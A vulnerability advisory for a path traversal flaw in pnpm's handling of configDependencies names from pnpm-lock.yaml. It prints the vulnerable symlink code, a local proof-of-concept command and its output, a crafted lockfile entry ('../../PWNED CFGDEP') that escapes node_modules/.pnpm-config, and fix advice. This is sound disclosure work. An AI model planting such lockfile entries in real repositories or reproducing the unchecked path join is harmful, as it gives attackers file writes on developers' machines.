PT-2026-56105 · Npm · Pnpm
Published
2026-06-27
·
Updated
2026-06-27
CVSS v3.1
8.2
High
| Vector | AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:L |
Summary
pnpm accepts package names from the env lockfile configDependencies section and uses those names directly when creating config dependency symlinks under node modules/.pnpm-config.A malicious repository can commit a crafted
pnpm-lock.yaml whose env-lockfile document contains a traversal-shaped config dependency name such as ../../PWNED CFGDEP. During pnpm install, pnpm installs the config dependency and creates a symlink at a path derived from that name.In local testing against pnpm
v11.5.1, this caused pnpm to create a symlink outside the intended config dependency directory:text
expected root: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/node modules/.pnpm-config
actual path: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED CFGDEPThis works with
--ignore-scripts, so it does not rely on lifecycle script execution.Vulnerable behavior
The vulnerable behavior appears to be that
configDependencies keys from the env lockfile are trusted as package names and used in filesystem paths without rejecting traversal components.The relevant pattern is:
ts
const configModulesDir = path.join(opts.rootDir, 'node modules/.pnpm-config')
for (const [pkgName, pkg] of Object.entries(normalizedDeps)) {
const configDepPath = path.join(configModulesDir, pkgName)
const pkgDirInGlobalVirtualStore = path.join(
globalVirtualStoreDir,
relPath,
'node modules',
pkgName
)
await symlinkDir(pkgDirInGlobalVirtualStore, configDepPath)
}If
pkgName is attacker-controlled and contains .., then path.join(configModulesDir, pkgName) can resolve outside node modules/.pnpm-config.Impact
A malicious project can cause pnpm to create symlinks outside the intended
node modules/.pnpm-config directory during install.This gives an attacker a filesystem write primitive in the victim project directory, and potentially outside it with deeper traversal payloads, depending on path permissions and platform behavior.
The issue is especially relevant because:
- The malicious input is committed in
pnpm-lock.yaml. - The issue is triggered during
pnpm install. - It works with
--ignore-scripts. - It occurs in the config dependency installation path, before ordinary dependency installation.
- The user only needs to install a malicious or compromised repository.
Local proof of concept
The following local-only PoC creates a temporary project, starts a local fake registry on
127.0.0.1, writes a malicious env-lockfile entry, runs pnpm, and checks whether pnpm created a symlink outside node modules/.pnpm-config.Command used:
bash
python3 ../pnpm configdeps path traversal poc.py
--pnpm-cmd "node /home/ethical/pnpm-main/pnpm/bin/pnpm.cjs"
--keep 2>&1 | tee /tmp/pnpm-configdeps-poc.logObserved output:
text
[+] Test project: /tmp/pnpm-cfgdep-poc-sznwgunx/victim
[+] Local registry: http://127.0.0.1:36545/
[+] Store dir: /tmp/pnpm-cfgdep-poc-sznwgunx/store
[+] Malicious name: '../../PWNED CFGDEP'
[+] Intended cfg root: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/node modules/.pnpm-config
[+] Traversal sink: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED CFGDEP
[+] Lockfile written: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/pnpm-lock.yaml
[+] Running: node /home/ethical/pnpm-main/pnpm/bin/pnpm.cjs install --ignore-scripts --config.confirmModulesPurge=false --reporter=append-only --store-dir /tmp/pnpm-cfgdep-poc-sznwgunx/store --registry http://127.0.0.1:36545/pnpm output:
text
Installing config dependencies...
Installed config dependencies: ../../PWNED CFGDEP@1.0.0, legit-config-dep@1.0.0
Already up to date
Done in 906ms using pnpm v11.5.1The PoC then detected the escaped symlink:
text
[+] Traversal sink status: symlink -> ../store/v11/PWNED CFGDEP/1.0.0/PWNED CFGDEP
[VULNERABLE] pnpm created/modified a path derived from a lockfile package name outside node modules/.pnpm-config
sink = /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED CFGDEP
readlink = ../store/v11/PWNED CFGDEP/1.0.0/PWNED CFGDEPMalicious lockfile structure
The malicious input is an env-lockfile
configDependencies key containing traversal components:yaml
importers:
.:
configDependencies:
legit-config-dep:
specifier: '1.0.0'
version: '1.0.0'
'../../PWNED CFGDEP':
specifier: '1.0.0'
version: '1.0.0'pnpm accepts the traversal-shaped name and reports it as installed:
text
Installed config dependencies: ../../PWNED CFGDEP@1.0.0, legit-config-dep@1.0.0Security boundary violation
The intended config dependency root was:
text
/tmp/pnpm-cfgdep-poc-sznwgunx/victim/node modules/.pnpm-configBut pnpm created:
text
/tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED CFGDEPThis demonstrates that a config dependency name from the lockfile can escape the directory where config dependencies should be linked.
Suggested remediation
Validate every
configDependencies key loaded from the env lockfile before using it as a package name or path component.Recommended fixes:
- Reject env-lockfile
configDependenciesnames that are not valid npm package names. - Reject names containing absolute paths,
.components,..components, backslashes, or platform-specific path separators. - Use containment-checked path joining before creating symlinks:
- resolve the final destination path,
- verify it remains inside
node modules/.pnpm-config, - reject if it escapes.
- Apply the same validation to config dependency subdependencies and optional dependency names read from the env lockfile.
- Intersect env-lockfile
configDependencieswith the effectivepnpm-workspace.yamlconfigDependenciesbefore installing, so extra lockfile-only entries are rejected.
A safe destination check should enforce behavior equivalent to:
ts
const dest = path.resolve(configModulesDir, pkgName)
if (!dest.startsWith(path.resolve(configModulesDir) + path.sep)) {
throw new Error(`Invalid config dependency name: ${pkgName}`)
}Name validation should happen before this check, not instead of it.
Fix
Path traversal
Found an issue in the description? Have something to add? Feel free to write us 👾
Weakness Enumeration
Related Identifiers
Affected Products
Pnpm